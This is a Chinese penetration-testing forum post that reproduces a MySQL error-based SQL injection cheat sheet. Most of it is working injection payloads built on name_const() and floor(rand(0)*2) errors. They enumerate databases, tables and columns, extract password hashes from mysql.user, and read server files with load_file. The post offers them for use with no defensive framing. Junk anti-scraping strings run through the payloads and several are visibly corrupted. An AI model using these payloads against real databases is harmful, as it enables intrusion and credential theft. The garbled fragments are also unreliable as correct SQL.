中国网络渗透测试联盟

标题: Mysql暴错注入参考（pdf） [打印本页]

---

作者: admin    时间: 2013-7-27 11:00
标题: Mysql暴错注入参考（pdf）
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
$ C2 U) S5 L) T# k
+ V( j4 O5 a' A. J+ [: S) q# ~
2 H5 l5 t: {& R. ^% A) X* eMysql暴错注入参考（pdf），每天一贴。。。
$ T2 q/ ~( ~" a. j+ I7 C0 w
MySql Error Based Injection Reference
; P1 h7 t& n: A4 O) y) X[Mysql暴错注入参考]
Authornig0s1992
8 R+ m$ F" j) t4 l: k9 XBlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
' R* N2 u, N: ~! ~  N. [; L" v1 K( ?Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
, C9 _$ [1 n- X. G8 L小部分版本使用name_const()时会报错.可以用给出的Method.2测试
$ j# o0 ~3 J& C) e; t% k3 l$ m查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
8 O# b# t* H& r& ]Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
  O' `1 F% X+ g7 s6 OMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
  }. u& u/ _1 q查询当前数据库:
6 G6 C- v8 r0 A9 Y/ o0 L* U! AMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
9 E4 z$ b0 X% w7 D2 w8 gor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
; y" y* t% C6 D4 b依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
( u7 O9 A3 W* J0 f- q! _/ ^7 v顺序替换
1 }# }/ C  x3 z+ V' d0 A爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
' b' T1 Y/ d7 T+by+x)a)+and+1=1 0x6D7973716C=mysql
1 H& r" t2 P  w; h8 H' A依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
" i5 ~& j, ~# G% ^( M& a% J$ ~! t* t爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
9 }  m- _2 B. p" B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
4 o6 R% S1 G3 |1 N! @0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
+ J+ E( |% I' e0 {9 vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
# ?* {4 @: t5 h& _3 B; Oma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- Z' U& B/ i6 x  q+ ]将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
' A" r  g+ q0 @4 _from+information_schema.tables+group+by+a)b)
$ x! ?! ?, g; p4 d+ [# U; x0 B; h; u3 i0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

不要下载也可以，

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2